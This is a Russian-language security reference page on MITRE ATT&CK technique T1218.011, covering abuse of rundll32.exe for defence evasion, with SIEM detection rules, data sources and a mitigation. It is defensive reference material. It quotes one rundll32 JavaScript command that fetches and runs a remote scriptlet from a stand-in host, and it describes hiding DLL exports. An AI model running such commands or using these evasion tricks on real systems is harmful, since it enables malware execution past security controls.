T1218.011: Rundll32
Злоумышленники могут использовать процесс rundll32.exe для выполнения вредоносного кода. Запуск кода через rundll32.exe, в отличие от непосредственного запуска (см. технику Общие модули), может позволить обойти средства безопасности: программа часто включена в списки разрешенных процессов (либо игнорируется из-за высокого числа ложных срабатываний на штатные операции), поэтому средства безопасности не всегда отслеживают выполнение процесса. Rundll32.exe обычно используется для выполнения нагрузок DLL (например, rundll32.exe {DLLname, DLLfunction}
).
Rundll32.exe также может использоваться для запуска компонентов панели управления (.cpl) через недокументированные функции Control_RunDLL
и Control_RunDLLAsUser
библиотеки shell32.dll. Двойной щелчок по CPL-файлу также инициирует выполнение rundll32.exe .
Кроме того, rundll32.exe может использоваться для выполнения сценариев, например написанных на языке JavaScript, с помощью подобного синтаксиса: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
Этот метод применяли некоторые вредоносные программы, например Poweliks .
Злоумышленники также могут попытаться скрыть вредоносный код от инструментов анализа, манипулируя загрузкой имен функций DLL процессом rundll32.exe. Windows поддерживает различные наборы символов, поэтому, прежде чем загрузить указанную функцию, rundll32.exe сначала ищет функции с поддержкой широких символов или Unicode (с суффиксом W
), затем функции с поддержкой ANSI (с суффиксом A
). Например, для выполнения команды rundll32.exe ExampleDLL.dll, ExampleFunction
rundll32.exe сначала попытается выполнить ExampleFunctionW
, в случае неудачи — ExampleFunctionA
и только потом загрузит функцию ExampleFunction
. Таким образом, злоумышленники могут скрыть вредоносный код, создав несколько идентичных имен экспортируемых функций и добавив к именам безвредных функций суффиксы W
и (или) A
. Функции DLL также можно экспортировать и выполнять по порядковому номеру (например, rundll32.exe file.dll,#1
).
Кроме того, злоумышленники могут использовать технику Маскировка (например, изменение имен или расширений файлов DLL либо имен функций DLL) для дальнейшего сокрытия выполнения полезной нагрузки.
Какие продукты Positive Technologies покрывают технику
Экспертиза MaxPatrol SIEM
mitre_attck_defense_evasion: PT-CR-199: Rundll32_AWL_Bypass: Попытка обойти запрет на запуск приложений с помощью встроенной утилиты Microsoft Windows rundll32.exe (используется для выполнения файлов DLL) mitre_attck_defense_evasion: PT-CR-650: Suspicious_File_Created_By_Legal_Process: Обнаруживает создание подозрительных файлов легитимными процессами mitre_attck_cred_access: PT-CR-303: Comsvcs_Minidump_Usage: Пользователь сохранил информацию процесса lsass через библиотеку comsvcs.dll hacking_tools: PT-CR-361: Koadic_Rundll32_Stager: Обнаружено возможное использование программного обеспечения Koadic через "Rundll32"
Способы обнаружения
ID | DS0009 | Источник и компонент данных | Процесс: Создание процесса | Описание | Отслеживайте процессы для мониторинга запуска утилиты rundll32.exe и ее аргументов. Сопоставляйте недавние вызовы rundll32.exe с историей использования известных допустимых аргументов и загрузки допустимых DLL-библиотек, чтобы выявить аномальную и потенциально вредоносную активность. При использовании алгоритма представленного псевдокода для отслеживания всех процессов rundll32 важно анализировать полный набор параметров командной строки, использованных при их запуске. Эти параметры содержат ключевую информацию о полезной нагрузке в виде DLL, включая имя, точку входа и необязательные аргументы. Примечание. Указаны идентификаторы событий для Sysmon (1: создание процесса) и журнала безопасности Windows (4688: создание нового процесса). Аналитика отслеживает запуск всех процессов rundll32.exe, но не фильтрует их по другим критериям, что может привести к ложным срабатываниям. Поэтому рекомендуется дополнить эту аналитику вспомогательными проверками, например имени пользователя, создавшего процесс, чтобы уменьшить количество ложных срабатываний. Аналитика 1. Мониторинг rundll32.exe
|
---|
ID | DS0017 | Источник и компонент данных | Команда: Выполнение команд | Описание | Рекомендуется также отслеживать аргументы, которые использовались при вызове rundll32.exe, чтобы определить происхождение и назначение загружаемых DLL-библиотек. Обычно для вызова rundll32.exe используется синтаксис Для вызова DLL-файлов, хранимых на SMB-ресурсах, используется синтаксис Rundll32 также может запускать произвольный JavaScript-код; для этого используется синтаксис |
---|
ID | DS0022 | Источник и компонент данных | Файл: Метаданные файла | Описание | Анализируйте контекстные данные выполняемых DLL-библиотек, включая имя файла, содержимое (например, подпись, заголовки, данные или встроенные объекты), время создания, имя пользователя/владельца, разрешения и другую информацию. |
---|
ID | DS0011 | Источник и компонент данных | Модуль: Загрузка модуля | Описание | Анализ экспортных таблиц DLL и их сопоставление с аргументами среды выполнения позволяет обнаружить обфусцированные вызовы функций. Инструменты для статического анализа исполняемых файлов PE могут использоваться для проверки и создания дампа экспортных таблиц определенной DLL. |
---|
Меры противодействия
ID | M1050 | Название | Защита от эксплойтов | Описание | Функция Microsoft Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) может быть использована для блокирования методов использования rundll32.exe с целью обхода контроля приложений. |
---|